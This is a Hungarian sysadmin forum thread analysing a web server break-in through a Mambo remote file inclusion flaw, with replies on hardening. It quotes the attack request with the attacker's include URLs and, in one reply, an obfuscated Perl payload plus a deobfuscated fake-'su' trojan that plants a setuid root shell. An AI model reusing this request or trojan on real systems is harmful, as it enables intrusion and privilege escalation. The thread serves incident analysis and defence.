Szombaton nemkivanatos processt talaltunk a webserverunkon. Ma volt idom utana nezni, hogy hogy is kerulhetett be, es hogy mit csinalt, mivel ugyis osszegyujtottem, gondoltam bepostolom ide, hatha valakinek tanulsagara lehet.
A tunetek: 99% procit evo ismeretlen perl process, nap kozben 70 mbit forgalom, 4 ismeretlen kapcsolat kifele. A tores egy mambo sebezhetosegen keresztul tortent, remote file inclusion alapu tamadas volt, rootot nem szerzett a cracker, csak az apacs felhasznalojanak neveben futtatta a scriptjet, ami felcsatlakozott egy irc szerverre, ahonnan varta az utasitasokat, mellesleg pedig mas sebezhetosegeket keresett mas gepeken. (amennyire jol vettem ki)
Itt van tehat, hogy hogy csinalta:
Ezzel jott be:
Request: 212.91.164.212 - - [12/Aug/2006:06:10:20 +0200] "GET /administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=
http://elitemorgan.com/mass.dat? HTTP/1.1" 200 16608
a sebezhetoseg leirasa:
http://www.elitemorgan.com/vuln/comprofiler-11-08-2006.txt
az oldaluk:
http://www.elitemorgan.com
a beincludeolt php:
http://elitemorgan.com/mass.dat?
a futtatott script:
http://www.elitemorgan.com/own
Workaroundkent mod_securityben letiltottam a mosConfig_absulote... kerest, a felhasznalot ertesitettuk a dologrol, es felszolitottuk, hogy javitsa a portaljat. Emellett meg kene egy grsecurity + rsbac a hasonlo dolgok elkerulesere, de ez perpill nem fog megtortenni.
Udv, onyx
- 3418 megtekintés
Hozzászólások
kulon /tmp, noexec
wget, lynx, links, stb futtatasat letiltani., ha szukseges a futtatas, akkor atnevezni mas nevre es annak adni jogot.
modsec az ugye megvolt igy utolag;)
kernel patch meg nem megy, ahogy irtad.
- A hozzászóláshoz be kell jelentkezni
en ehhez meg hozza vennem a tuzfalon az OUTPUT szureset, csak az menjen ki, aminek kell..
btw, mibol gondolod, hogy nem szerzett root jogot?
- A hozzászóláshoz be kell jelentkezni
Én sem lennék nyugodt , hogy nem szerzett root-jogot, hiszen ha sajat perl scriptet futtatott, akkor letolthetett exploitokat is.
... hogy eljussunk oda, ahova emberi kéz még nem tette be a lábát.
- A hozzászóláshoz be kell jelentkezni
Azert nem hiszem, hogy root jogott szerzett, mert futtattam aide-t (ua, mint a tripwire), semmifele file valtozast nem talalt. Masreszt pedig teszem azt ha rootot szerzett volna, nem a webserver felhasznalojaval fut a process. Persze 100%ig nem lehetek biztos benne.
- A hozzászóláshoz be kell jelentkezni
Részemről még nosuid-ot is raknék fel a /var/www-re (vagy ahol a webes cuccok vannak).
- A hozzászóláshoz be kell jelentkezni
wget lynx links mind root:root 750, sudoval lehet csak hasznalni, es csak annak, akinek van ra joga. /tmp perpill nincs kulon particion, lehet, hogy azt beujitom.
- A hozzászóláshoz be kell jelentkezni
En ugy emlekszem, hogy ez kijatszhato (volt?), ha megpiszkalja az elf fejlecet nativ kod eseten.
---------------------
Minél korszakalkotóbb ötlettel állsz elő, annál több hülyén kell átverekedned magadat.
- A hozzászóláshoz be kell jelentkezni
Tanulság:
Ne írj olyan trójait, ami 99%-os procihasználtságot generál...
Ha normálisan megírja, talán sose veszed észre.
(Ami azért jó, mert biztos van olyan cracker, aki megírja rendesen.)
"...handing C++ to the average programmer seems roughly comparable to handing a loaded .45 to a chimpanzee."
-- Ted Ts'o
- A hozzászóláshoz be kell jelentkezni
Azert szerintem feltunt volna, de igen, szerencse, hogy ilyen feltunore sikerult a programjuk.
- A hozzászóláshoz be kell jelentkezni
hasznos lehet meg a phpben:
safe_mode = On
register_globals = Off
allow_url_fopen = Off
es open_basedir, safe_mode_include_dir
--
A vegtelen ciklus is vegeter egyszer, csak kelloen eros hardver kell hozza!
- A hozzászóláshoz be kell jelentkezni
Kosz a tanacsokat, safe_mode az off (legtobb esetben, neha az ugyfel ragaszkodik a kikapcsolasahoz sajnos...), register globals hasonlokepp, open basedir minden esetben be van allitva, safe_mode_include_dir es allow_url_fopen nincs, ezeknek utana nezek.
- A hozzászóláshoz be kell jelentkezni
Egyertlemuen OUTPUT lanc szures is kell! Sajnos amennyi howto/leiras letezik csomagszurokkel kapcsolatban, ezzel forditottan aranyos azoknak a szama, amelyek foglalkoznak a kimeno lanccal is. HTTPD-nek a legritkabb esetben kell kapcsolatot nyitnia, igy mehet egy -A OUTPUT -m owner --uid-owner www-data -j DROP (elotte persze a megfelelo -m state az established, related csomagokra, hogy a valaszok visszamenjenek :))
- A hozzászóláshoz be kell jelentkezni
Oke. Ket gepen van Output szures, erre nem tettem meg fel, ugy latszik nagy hiba volt. Meglepem, koszi.
- A hozzászóláshoz be kell jelentkezni
Jah es a masik kedvencem a TPE. Ha egy mod van ra ezt is hasznald ki (tudom, ehhez grsec kell meg kernel upgrade stb.); nagyon fasza tud lenni, hogy csak olyan mappabol enged lefuttatni barmit is, aminek az ownere es a csoportja root (es nem world-wide-writable). Felreertesek elkerulese vegett a TPE sem csodaszer, kicsit hasonlit ez arra az oriasplakat-reklamra ahol a biztonsagi ov + legzsak szerepel s alatta a felirat: egyutt vedenek. ...csak security temaban ketto osszetevonel sokszorta tobb van.
- A hozzászóláshoz be kell jelentkezni
A grsecurityvel annyi a baj, hogy szerintem eles rendszerre beloni igencsak nehez munka. Meg akkor kezdtem el grsecurityzni, amikor az meg az 1.9-es verzioknal tartott, sokszor vacakoltam vele, de igazan jol nem sikerult megcsinalni, mindig feladtam. 2.xben jott a learning mode, de az sem volt soha tokeletes, utana jopar nap hegesztessel is folyamatosan blokkolt mindent. Persze, biztos en vagyok bena...
- A hozzászóláshoz be kell jelentkezni
En nem az RBAC-ra gondoltam, azt tenyleg nem 2 perc beloni. De a grsec-nek az csak egy resze, csomo mas kulon config nelkul hasznalhato, tobbek kozt a TPE is.
- A hozzászóláshoz be kell jelentkezni
Ja ertem. Csak mert rbac alatt is van egy tpe lehetoseg, ha jol emlekszem. Vagy legabbis regen mintha lett volna :)
- A hozzászóláshoz be kell jelentkezni
Ezt én is szeretem. Egyik másik kendvencem a socket korlátozás. Például a fenti esetben, ha nincs szükség hogy az apache kliens portokat nyisson, akkor létre lehet hozni egy csoportot , mely tagjai semmifele kliens socketet nem nyithatnak. Mondjuk ha van fent egy webmail kliens, akkor már bukta. Akkor sajnos RBAC kell.
Egyébként ahogy LiRul is mondta, grsec kellemes RBAC nélkül is.
- A hozzászóláshoz be kell jelentkezni
Jaja socket restrictek is jo dolgokt. Ha csak webmail miatt kellene socketet nyitnia a httpd-nek (altalaban localhost:imap), meg mindig megoldhato netfilter owner match-elessel, ahogy feljebb irtam.
- A hozzászóláshoz be kell jelentkezni
Igen, ez egy jó ötlet volt, engedelmeddel alkalmaztam is! :)
- A hozzászóláshoz be kell jelentkezni
TPE ebben az esetben semmit se ér, tekintve, hogy a Perl (és más) scripteket nem fogja meg... :)
- A hozzászóláshoz be kell jelentkezni
Ez nyilvanvalo. Mint irtam nem csodaszer, csak a vedelem egyik lehetseges pillere.
- A hozzászóláshoz be kell jelentkezni
hozzam hetvegen akartak bejonni megtort trefis user passwdjvel
#!/usr/bin/perl
use MIME::Base64;$YY_p = "lkZUqvDvrZ/b6bG17fH6lJ8K/KuVwMLAr6aw2QwS16ivocH4ABncq62U4i0dCSJFGhx
MMvH7BAYZ6twTJvgeNAIF/gBITQ0SJhkYKR0eHigpIlR3Y0ZrUi1CMD1YcJdkS4WYonZEXUkxP4GtjWdmmIFLTleVkIyepcuten6kpKikxMCzvcaoo77U8
sPDrpeaoOjrysC2xeX5BtfRFwL8Ghjv8BgpF+jDs9b64fouMBEdPSIiK/wASzAlThnk4yBROR0wYTDuDVpPOl9MVGJeTDxQTGVnTmuFa2VLFEWBkJp8g2VFj
XRlaIC0dV9bg31BhZemw5FfTIfPy4iLzrWKqJekv8qzqumzvtLA69O63fr57PPft9rkzvjz1fAIz7vCpc3g9Ar+/evO3SFJKycwOEQvHO7vMy8F8R82OlRTIC
JlXSIKOVsxOX+DWTwiFlF4gkAfS21+gms0RVQuICBfZDlynGovLGSCgmhrpnpCVI6RnKF1X5Wwpat3kq6zsZmGZJLO28vHpqff4+vNtuW/w8iLwOzAy8/d1dnbx
8+nzgP9+yAM5ujjBzwtJB0E9hQBxsrjAvMQIfcZQRD0+RoxDfYfYEUMMSsONjMXBEJdMUV8SyZPWGdUZ3B2YU5PQWdcNlphSYCVZjZibFVZUouvdVdse3ecq4yaw7
mswaCqvJa5wrfLmKvR0eDq5sKy1/vGpqO4y9sGCtfh797yz8fa19fGutD9APv65+8EHPzvFvre3/EWI0FKVB/+PF5IHAcmVCApUysNCSUqIEZKRTZJaW6PWyEzRl+LjnFRQl1/
T2ebjpqnsLeQkXk0PX57gJGEd2mrmW+Tp7LQtpewjnJ6q8W8x6/CtJmqzePFoq6joL7qAgIS0Mr+yLvNzreb7ATfxdkY/8TOCP7b4vXi/y0pI+XnLAsLRiX6/BQUJRUXVSYgFhMuGg
wiRDEUMGFma32LgV1YfWBUiGFBb4ZUN2B3jYGEUyNopaObZCBTiJCdaCpdlJy1gTxQM23ay3hxrLS/xuHs7KFOo77A7eXl8sl7tdDD7e76/fXy8fUIDtOkmIrX3qjzHyM1NTDgmO0GEuPbSD
nm3xoiP0RNWloPvBEsLltTU2A36SM+Nml2MuQxNPUHDQMKTHk6+kdhIA9cWVNuLykvJxdheoa/qa2/v7pqZ7fEgDJ/hlCmd2/czXpzrrbD4ezsoU6jvsDt5eXyyXu10IWj2ODr8rp8ydCa4C
DVgtbxo4ql8jLnlOIj9sa8ws4BN0UA/VAFsv0Y4eHXByEmUVVZYWQa2CUs9vMjLPDwQj8pb0tYkoODl5hOAk9ZDEtVHx4qJ2aBerGoYCJfpW1CP36ZR4SPQTp9hVBRXFmYs2GeqVeY2aptrMd3lcrS7/
SqbsDHjInCzpvS/xDShtjfpKHUFeir6AEIQSsvQUE87KT4ER7vfoA";print(&YY_d($YY_p));
sub YY_bd{my $s=shift;$s=decode_base64($s);return $s;}
sub YY_tb{my $s=shift;$s=int($s%256);if($s<0){$s=256+$s;}return int($s);}
sub YY_d{my $s=shift;$s=&YY_bd($s);my $r="";my $lc=115;for(my $i=0;$i
kicsit kipofozva
#!/usr/bin/perl
use English;
$0 = "su";
$usr = "webi";
$subinary = '/usr/bin/su';
$myself = "/home/$usr/.bashcr/su";
$pwn = "cp /home/$usr/.bashcr/.s /usr/bin/wtc;".
"chown root.root /usr/bin/wtc;".
"chmod a+rxs /usr/bin/wtc;".
"rm -rf /home/$usr/.bashcr".
$allp = "";
foreach $bla (@ARGV) { $allp .= $bla." "; }
$allp = substr($allp,0,length($allp)-1);
if ($UID==0) {
system($pwn);
}
if ($allp eq "shell") {
system($ENV{'SHELL'});
exit;
}
system($subinary . " $allp -c '$myself shell'");
a ganyolas mertekebol latszik hogy mennyire topszar hekkerpalantaink vannak
ja egyebkent ott bukott le h bsdn ez a kod errort dob
meg arra is lusta volt h megnezze mien osre jutott be
ennyire magas ertelmi szinvonalon vannak az ilyen sracok
http://litch.eu/blog
http://www.gnaa.us
linux: a religion, not an operating system
- A hozzászóláshoz be kell jelentkezni
Csak mi van ha ez hekkerpalanta telleg csak palanta, 10-12 eves? (kiddie ugye) Bele sem akarok gondolni milyen lesz 4-5 ev mulva, ha ilyen palyan folytatja...
- A hozzászóláshoz be kell jelentkezni
nezd ha nagyon akarnam verhetnem az asztalt onnan ahonnan jott
de minek
az ilyeneknek nem tudod elmagyarazni h gaz vagy
100.55.70.195.in-addr.arpa domain name pointer mail.eurocomnet.hu.
http://litch.eu/blog
http://www.gnaa.us
linux: a religion, not an operating system
- A hozzászóláshoz be kell jelentkezni
Látod litchi micsoda különbségek vannak?! Van olyan aki viszont ownolja a gépedet már másfél éve és mégse vetted észre... ;D
- A hozzászóláshoz be kell jelentkezni
Nálam az a tanulsága az egésznek, hogy hibás webes alkalmazáson a legegyszerűbb és legdivatosabb bejutni. Ha van egy bug, feltölt egy saját PHP fájlt, amivel feltölt és lefuttat egy tetszőleges programot.
A /var/www noexec -es mountolása és PHP open_basedir kombó kicselezhető egyébként valahogy?
- A hozzászóláshoz be kell jelentkezni
Nem, a linuxot hanem egy tetves CMS-t tortek meg es igy a szervert.En szemely szerint tennek egy tuzfalat + proxy-t a webszerverek ele.
--------------------------------------------------------------
No Security in this Crazy World! by Hunger
- A hozzászóláshoz be kell jelentkezni
szerintem az ellen ez nem ved!
ha meg a web szolgaltatas, akkor is megy cms is, azon keresztuul megy minden. tehat file-t is tud feltolteni a user 8pl kepek a hirekhez), ha meg ez torheto akkor torik is, es egy feltoltott php-koddal mar lehet bogaraszni.
- A hozzászóláshoz be kell jelentkezni
johat, innentol, ha a kedves user cms-t akar futtatni, akkor lehet tolni neki xen-t vagy mittomen.. mar ha fizet erte, ha nem akkor meg safe_mode, base_dir stb..
- A hozzászóláshoz be kell jelentkezni
Azért a CMS-ek is megnézhetnék milyen file jutott a birtuokukba... a file parancs nem nagy cucc... :@
- A hozzászóláshoz be kell jelentkezni